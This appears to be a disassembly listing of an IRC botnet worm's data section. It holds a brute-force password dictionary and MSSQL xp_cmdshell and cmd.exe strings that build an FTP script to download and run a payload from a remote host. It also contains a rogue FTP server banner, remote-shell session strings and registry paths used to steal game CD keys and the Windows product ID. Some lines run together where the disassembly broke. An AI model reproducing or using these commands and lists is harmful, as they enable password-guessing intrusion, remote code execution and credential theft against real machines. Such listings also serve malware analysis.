inc ebp loc_4404E5: ; CODE XREF: .data:004404F3j inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp loc_4404EB: ; DATA XREF: sub_40C16C+11Eo add [esp+edx+54h], cl loc_4404EF: ; DATA XREF: sub_40C16C+108o jl short loc_440487 mov ah, 0A1h ja short loc_4404E5 mov eax, ds:0AFA977EDh mov eax, ds:41414177h inc ecx ; --------------------------------------------------------------------------- dd 77FCC662h aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: sub_40C16C+202o align 10h aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_40C16C+24Fo align 10h aSa db 'sa',0 ; DATA XREF: .data:0040C428o align 4 aRoot db 'root',0 ; DATA XREF: .data:0040C435o align 4 aAdmin db 'admin',0 ; DATA XREF: .data:0040C43Co align 4 aAdministrator db 'administrator',0 ; DATA XREF: .data:0040C450o align 4 aAdministrador db 'administrador',0 ; DATA XREF: .data:0040C45Ao align 4 aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0040C464o align 4 aAdministrat db 'administrat',0 ; DATA XREF: .data:0040C46Eo aAdmins db 'admins',0 ; DATA XREF: .data:0040C478o align 4 aAdmin_0 db 'admin',0 ; DATA XREF: .data:0040C482o align 10h aAdm db 'adm',0 ; DATA XREF: .data:0040C48Co aPassword1 db 'password1',0 ; DATA XREF: .data:0040C496o align 10h aPassword db 'password',0 ; DATA XREF: .data:0040C4A0o align 4 aPasswd db 'passwd',0 ; DATA XREF: .data:0040C4AAo align 4 aPass1234 db 'pass1234',0 ; DATA XREF: .data:0040C4B4o align 10h aPass db 'pass',0 ; DATA XREF: .data:0040C4BEo align 4 aPwd db 'pwd',0 ; DATA XREF: .data:0040C4C8o a007 db '007',0 ; DATA XREF: .data:0040C4D2o a1: ; DATA XREF: .data:0040C4DCo unicode 0, <1>,0 a12 db '12',0 ; DATA XREF: .data:0040C4E6o align 4 a123 db '123',0 ; DATA XREF: .data:0040C4F0o a1234 db '1234',0 ; DATA XREF: .data:0040C4FAo align 4 a12345 db '12345',0 ; DATA XREF: .data:0040C504o align 4 a123456 db '123456',0 ; DATA XREF: .data:0040C50Eo align 4 a1234567 db '1234567',0 ; DATA XREF: .data:0040C518o a12345678 db '12345678',0 ; DATA XREF: .data:0040C522o align 4 a123456789 db '123456789',0 ; DATA XREF: .data:0040C52Co align 4 a1234567890 db '1234567890',0 ; DATA XREF: .data:0040C536o align 10h a2000 db '2000',0 ; DATA XREF: .data:0040C540o align 4 a2001 db '2001',0 ; DATA XREF: .data:0040C54Ao align 10h a2002 db '2002',0 ; DATA XREF: .data:0040C554o align 4 a2003 db '2003',0 ; DATA XREF: .data:0040C55Eo align 10h a2004 db '2004',0 ; DATA XREF: .data:0040C568o align 4 aTest db 'test',0 ; DATA XREF: .data:0040C572o align 10h aGuest db 'guest',0 ; DATA XREF: .data:0040C57Co align 4 aNone db 'none',0 ; DATA XREF: .data:0040C586o align 10h aDemo db 'demo',0 ; DATA XREF: .data:0040C590o align 4 aUnix db 'unix',0 ; DATA XREF: .data:0040C59Ao align 10h aLinux db 'linux',0 ; DATA XREF: .data:0040C5A4o align 4 aChangeme db 'changeme',0 ; DATA XREF: .data:0040C5AEo align 4 aDefault db 'default',0 ; DATA XREF: .data:0040C5B8o aSystem db 'system',0 ; DATA XREF: .data:0040C5C2o align 4 aServer_1 db 'server',0 ; DATA XREF: .data:0040C5CCo align 4 aRoot_0 db 'root',0 ; DATA XREF: .data:0040C5D6o align 4 aNull db 'null',0 ; DATA XREF: .data:0040C5E0o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .data:0040C5EAo align 4 aMail db 'mail',0 ; DATA XREF: .data:0040C5F4o align 4 aOutlook db 'outlook',0 ; DATA XREF: .data:0040C5FEo aWeb db 'web',0 ; DATA XREF: .data:0040C608o aWww db 'www',0 ; DATA XREF: .data:0040C612o aInternet db 'internet',0 ; DATA XREF: .data:0040C61Co align 4 aAccounts db 'accounts',0 ; DATA XREF: .data:0040C626o align 4 aAccounting db 'accounting',0 ; DATA XREF: .data:0040C630o align 10h aHome db 'home',0 ; DATA XREF: .data:0040C63Ao align 4 aHomeuser db 'homeuser',0 ; DATA XREF: .data:0040C644o align 4 aUser_1 db 'user',0 ; DATA XREF: .data:0040C64Eo align 4 aOem db 'oem',0 ; DATA XREF: .data:0040C658o aOemuser db 'oemuser',0 ; DATA XREF: .data:0040C662o aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0040C66Co align 4 aWindows db 'windows',0 ; DATA XREF: .data:0040C676o aWin98 db 'win98',0 ; DATA XREF: .data:0040C680o align 4 aWin2k db 'win2k',0 ; DATA XREF: .data:0040C68Ao align 4 aWinxp db 'winxp',0 ; DATA XREF: .data:0040C694o align 4 aWinnt db 'winnt',0 ; DATA XREF: .data:0040C69Eo align 4 aWin2000 db 'win2000',0 ; DATA XREF: .data:0040C6A8o aQaz db 'qaz',0 ; DATA XREF: .data:0040C6B2o aAsd db 'asd',0 ; DATA XREF: .data:0040C6BCo aZxc db 'zxc',0 ; DATA XREF: .data:0040C6C6o aQwe db 'qwe',0 ; DATA XREF: .data:0040C6D0o aBob db 'bob',0 ; DATA XREF: .data:0040C6DAo aJen db 'jen',0 ; DATA XREF: .data:0040C6E4o aJoe db 'joe',0 ; DATA XREF: .data:0040C6EEo aFred db 'fred',0 ; DATA XREF: .data:0040C6FBo align 4 aBill db 'bill',0 ; DATA XREF: .data:0040C709o align 10h aMike db 'mike',0 ; DATA XREF: .data:0040C713o align 4 aJohn db 'john',0 ; DATA XREF: .data:0040C71Do align 10h aPeter db 'peter',0 ; DATA XREF: .data:0040C727o align 4 aLuke db 'luke',0 ; DATA XREF: .data:0040C731o align 10h aSam db 'sam',0 ; DATA XREF: .data:0040C73Bo aSue db 'sue',0 ; DATA XREF: .data:0040C745o aSusan db 'susan',0 ; DATA XREF: .data:0040C74Fo align 10h aPeter_0 db 'peter',0 ; DATA XREF: .data:0040C759o align 4 aBrian db 'brian',0 ; DATA XREF: .data:0040C763o align 10h aLee db 'lee',0 ; DATA XREF: .data:0040C76Do aNeil db 'neil',0 ; DATA XREF: .data:0040C777o align 4 aIan db 'ian',0 ; DATA XREF: .data:0040C781o aChris db 'chris',0 ; DATA XREF: .data:0040C78Bo align 4 aEric db 'eric',0 ; DATA XREF: .data:0040C795o align 10h aGeorge db 'george',0 ; DATA XREF: .data:0040C79Fo align 4 aKate db 'kate',0 ; DATA XREF: .data:0040C7A9o align 10h aBob_0 db 'bob',0 ; DATA XREF: .data:0040C7B3o aKatie db 'katie',0 ; DATA XREF: .data:0040C7BDo align 4 aMary db 'mary',0 ; DATA XREF: .data:0040C7C7o align 4 aLogin_0 db 'login',0 ; DATA XREF: .data:0040C7D1o align 4 aLoginpass db 'loginpass',0 ; DATA XREF: .data:0040C7DBo align 4 aTechnical db 'technical',0 ; DATA XREF: .data:0040C7E5o align 4 aBackup db 'backup',0 ; DATA XREF: .data:0040C7EFo align 4 aExchange db 'exchange',0 ; DATA XREF: .data:0040C7F9o align 4 aFuck db 'fuck',0 ; DATA XREF: .data:0040C803o align 10h aBitch db 'bitch',0 ; DATA XREF: .data:0040C80Do align 4 aSlut db 'slut',0 ; DATA XREF: .data:0040C817o align 10h aSex db 'sex',0 ; DATA XREF: .data:0040C821o aGod db 'god',0 ; DATA XREF: .data:0040C82Bo aHell db 'hell',0 ; DATA XREF: .data:0040C835o align 10h aHello db 'hello',0 ; DATA XREF: .data:0040C83Fo align 4 aDomain db 'domain',0 ; DATA XREF: .data:0040C849o align 10h aDomainpass db 'domainpass',0 ; DATA XREF: .data:0040C853o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:0040C85Do align 4 aDatabase db 'database',0 ; DATA XREF: .data:0040C867o align 4 aAccess db 'access',0 ; DATA XREF: .data:0040C871o align 10h aDbpass db 'dbpass',0 ; DATA XREF: .data:0040C87Bo align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: .data:0040C885o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: .data:0040C88Fo align 4 aData db 'data',0 ; DATA XREF: .data:0040C899o align 4 aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:0040C8A3o align 10h aDb1 db 'db1',0 ; DATA XREF: .data:0040C8ADo aDb2 db 'db2',0 ; DATA XREF: .data:0040C8B7o aDb1234 db 'db1234',0 ; DATA XREF: .data:0040C8C1o align 10h aSa_0 db 'sa',0 ; DATA XREF: .data:0040C8CBo align 4 aSql db 'sql',0 ; DATA XREF: .data:0040C8D5o aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:0040C8DFo align 4 aOrainstall db 'orainstall',0 ; DATA XREF: .data:0040C8E9o align 4 aOracle db 'oracle',0 ; DATA XREF: .data:0040C8F3o align 10h aIbm db 'ibm',0 ; DATA XREF: .data:0040C8FDo aCisco db 'cisco',0 ; DATA XREF: .data:0040C904o align 4 aDell db 'dell',0 ; DATA XREF: .data:0040C90Bo align 4 aCompaq db 'compaq',0 ; DATA XREF: .data:0040C912o align 4 aSiemens db 'siemens',0 ; DATA XREF: .data:0040C919o aHp db 'hp',0 ; DATA XREF: .data:0040C920o align 4 aNokia db 'nokia',0 ; DATA XREF: .data:0040C927o align 10h aXp db 'xp',0 ; DATA XREF: .data:0040C92Eo align 4 aControl db 'control',0 ; DATA XREF: .data:0040C935o aOffice db 'office',0 ; DATA XREF: .data:0040C93Co align 4 aBlank db 'blank',0 ; DATA XREF: .data:0040C943o align 4 aWinpass db 'winpass',0 ; DATA XREF: .data:0040C94Ao aMain db 'main',0 ; DATA XREF: .data:0040C951o align 4 aLan db 'lan',0 ; DATA XREF: .data:0040C958o aInternet_0 db 'internet',0 ; DATA XREF: .data:0040C95Fo align 4 aIntranet db 'intranet',0 ; DATA XREF: .data:0040C966o align 4 aStudent db 'student',0 ; DATA XREF: .data:0040C96Do aTeacher db 'teacher',0 ; DATA XREF: .data:0040C974o aStaff db 'staff',0 ; DATA XREF: .data:0040C97Bo align 10h aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0 ; DATA XREF: .data:0040C9FBo align 8 ; aExecMaster(long long, *) aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us' ; DATA XREF: .data:0040CA94o db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq ' db '&%s&del eq',0Dh,0Ah db 27h,0 align 4 aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: .data:0040CACBo align 4 dword_440AB8 dd 21F5B1Fh, 544F4F52h, 1F024445h, 0BB201F5Dh, 4920BBBBh ; DATA XREF: .data:0040CAE0o dd 25203A50h, 73h unk_440AD4 db 2 ; DATA XREF: .data:0040CB5Fo db 28h, 6Dh, 73h db 71h ; q db 6Ch, 29h, 1Fh db 20h db 2, 2 dup(0BBh) db 2 aTryingSDUserSS db ' Trying: (%s:%d) user: (%s/%s).',0 align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40CC69+130o align 10h aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o' ; DATA XREF: sub_40CE55+23Eo db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40D0F7+1B9o align 4 aSS_1 db '%s %s',0 ; DATA XREF: sub_40D0F7+237o align 10h aUser_2 db 'USER',0 ; DATA XREF: sub_40D0F7+248o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40D0F7+25Do align 10h aPass_0 db 'PASS',0 ; DATA XREF: sub_40D0F7+26Do align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40D0F7+281o align 10h aSyst db 'SYST',0 ; DATA XREF: sub_40D0F7+291o align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40D0F7+2A5o align 4 aRest db 'REST',0 ; DATA XREF: sub_40D0F7+2B5o align 10h a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40D0F7+2C9o align 4 off_440C14 dd offset dword_445750 ; DATA XREF: sub_40D0F7+2D9o a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40D0F7+2EDo align 4 aType db 'TYPE',0 ; DATA XREF: sub_40D0F7+2FDo align 2 aA_0 db 'A',0 ; DATA XREF: sub_40D0F7+314o a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40D0F7+328o aType_0 db 'TYPE',0 ; DATA XREF: sub_40D0F7+338o align 2 aI_0 db 'I',0 ; DATA XREF: sub_40D0F7+34Fo a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40D0F7+363o aPasv db 'PASV',0 ; DATA XREF: sub_40D0F7+373o align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_40D0F7+386o align 4 aList_0 db 'LIST',0 ; DATA XREF: sub_40D0F7+3C1o align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40D0F7+3D4o align 4 aPort db 'PORT',0 ; DATA XREF: sub_40D0F7+402o align 4 aS_14 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40D0F7+43Bo db ']',0 aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40D0F7+47Fo align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40D0F7+4B2o a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40D0F7+4C3o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_40D0F7+4D3o align 10h a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_40D0F7+4EBo align 4 aFtpTransferSta db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40D0F7+514o a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40D0F7+55Eo aFtpTransferCom db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40D0F7+570o align 10h a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_40D0F7+5C1o align 4 aQuit_1 db 'QUIT',0 ; DATA XREF: sub_40D0F7+5CEo align 4 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40D0F7+5E2o aRb db 'rb',0 ; DATA XREF: sub_40D78C+24o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40D826+25Eo align 2 asc_440E06 db ' ',0 ; DATA XREF: sub_40D826+281o asc_440E08: ; DATA XREF: sub_40D826+286o unicode 0, < >,0 aGet_1 db 'GET ',0 ; DATA XREF: sub_40D826+291o align 4 asc_440E14 db 0Dh,0Ah,0 ; DATA XREF: sub_40D826+2C4o align 4 unk_440E18 db 2Dh ; - ; DATA XREF: sub_40D826+3D9o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 aTextHtml db 'text/html',0 ; DATA XREF: sub_40DC62+64o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40DC62:loc_40DCCDo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40DC62+83o align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40DC62+97o align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40DC62+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 8 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40DC62+F0o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aS_15 db '\%s',0 ; DATA XREF: sub_40DDDE+2Fo aS_16 db '%s',0 ; DATA XREF: sub_40DDDE+39o align 10h aSS_2 db '%s%s',0 ; DATA XREF: sub_40DDDE+E9o align 2 asc_441066 db 0Ah,0 ; DATA XREF: sub_40DDDE+FAo asc_441068: ; DATA XREF: sub_40DDDE+156o unicode 0, <*>,0 unk_44106C db 2Dh ; - ; DATA XREF: sub_40DDDE+20Ao db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 10h dword_4410A0 dd 234032Dh, 70747468h, 2D030264h, 69616620h, 2064656Ch ; DATA XREF: sub_40DDDE+27Co dd 73206F74h, 74726174h, 726F7720h, 2072656Bh, 65726874h dd 202C6461h, 6F727265h, 64252072h db 2 dup(0) word_4410D6 dw 0Ah ; DATA XREF: sub_40E08D+29o aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40E08D+4Bo aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40E08D+77o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40E08D+ACo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 8 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E08D+F6o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E08D+12Ao db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40E08D+146o align 8 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E08D+1BFo db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 a__ db '..',0 ; DATA XREF: sub_40E08D+231o align 10h a__0: ; DATA XREF: sub_40E08D+24Co unicode 0, <.>,0 aPm_0 db 'PM',0 ; DATA XREF: sub_40E08D+284o align 4 aAm db 'AM',0 ; DATA XREF: sub_40E08D+293o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40E08D+2B4o aS_17 db '<%s>',0 ; DATA XREF: sub_40E08D+2DEo align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40E08D+308o align 10h aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E08D+335o db '<TD WIDTH="%d"><A HREF="',0 align 10h aSS_3 db '%s%s/',0 ; DATA XREF: sub_40E08D+379o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40E08D+3C6o align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40E08D:loc_40E45Ao align 10h aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40E08D+406o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aS_18 db '<%s>',0 ; DATA XREF: sub_40E08D+418o align 10h a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40E08D+439o align 10h aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40E08D+476o align 4 aTrTdWidthDAH_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E08D+48Bo db '<TD WIDTH="%d"><A HREF="',0 align 4 aSS_4 db '%s%s',0 ; DATA XREF: sub_40E08D+4CFo align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40E08D+51Co align 10h aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40E08D:loc_40E5B0o align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40E08D+566o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40E08D+58Eo align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40E08D+61Do align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E08D+638o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40E08D+64Do align 10h aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40E7F9+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_4415B8 dd 234032Dh, 6E656469h, 3026474haClientConnecti db '- client connection from %s:%d.',0 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_40E91A+113o dword_4415FC dd 234032Dh, 6E656469h, 3026474haServerFailed_0 db '- server failed, returned %d',0 align 4 unk_441628 db 2Dh ; - ; DATA XREF: sub_40EAC5+E9o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 10h unk_441670 db 2Dh ; - ; DATA XREF: sub_40EAC5+14Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_23 db 'Failed to start client thread, error: <%d>.',0 align 10h unk_4416B0 db 2Dh ; - ; DATA XREF: sub_40EC55+E1o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 8 unk_4416F8 db 2Dh ; - ; DATA XREF: sub_40EC55+157o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_24 db 'Failed to start connection thread, error: <%d>.',0 unk_441738 db 2Dh ; - ; DATA XREF: sub_40EE3D+F6o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 10h unk_441780 db 2Dh ; - ; DATA XREF: sub_40EE3D+12Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_4417C8 db 2Dh ; - ; DATA XREF: sub_40EE3D+17Fo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 10h unk_441800 db 2Dh ; - ; DATA XREF: sub_40F02F+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_441840 db 2Dh ; - ; DATA XREF: sub_40F02F+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_2 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 10h unk_441880 db 2Dh ; - ; DATA XREF: sub_40F02F+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_40F128+8Co align 10h unk_4418B0 db 2Dh ; - ; DATA XREF: sub_40F128+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 unk_4418E8 db 2Dh ; - ; DATA XREF: sub_40F201+8Do db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0 aRb_0 db 'rb',0 ; DATA XREF: sub_40F3B8+130o align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_40F3B8+2CDo align 4 aTftpTransferCo db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_40F3B8+3BEo align 4 dword_441968 dd 4000500h, 7868746Bh, 0dword_441974 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dhdword_441988 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40F927+60o align 10h dword_4419C0 dd 234032Dh, 2676F6Ch, 2D03hdword_4419CC dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_40FA64+20o dword_4419E0 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_40FA64:loc_40FA99o dword_4419F4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: sub_40FAD7+3Fo dd 676E6974h, 0 dword_441A10 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: sub_40FAD7+DCo dd 6574656Ch, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_40FC06+11o aWindow db 'Window',0 ; DATA XREF: sub_40FE41+23o align 4 aWindow_0 db 'Window',0 ; DATA XREF: sub_41003A+26o align 8 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .data:off_4428FCo align 10h aCdkey db 'CDKey',0 ; DATA XREF: .data:00442900o align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .data:00442904o aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aKey_0 db 'Key',0 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 10h aKey_1 db 'Key',0 aHalfLife db 'Half-Life',0 align 10h aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aPrvkey db 'prvkey',0 align 4 aIndustryGiant2 db 'Industry Giant 2',0 align 10h aSoftware3d0Sta db 'Software\3d0\Status',0 aCustomernumber db 'CustomerNumber',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 10h aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aCdkey_0 db 'CDKey',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0 align 4 aProductid db 'ProductId',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aSoftwareUnreal db 'Software\Unreal Technology\Installed Apps\UT2003',0 align 4 aCdkey_1 db 'CDKey',0 align 4 aUnrealTourname db 'Unreal Tournament 2003',0 align 4 aSoftwareUnre_0 db 'Software\Unreal Technology\Installed Apps\UT2004',0 align 10h aCdkey_2 db 'CDKey',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2004',0 align 10h aSoftwareIgi2Re db 'Software\IGI 2 Retail',0 align 4 aCdkey_3 db 'CDKey',0 align 10h aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 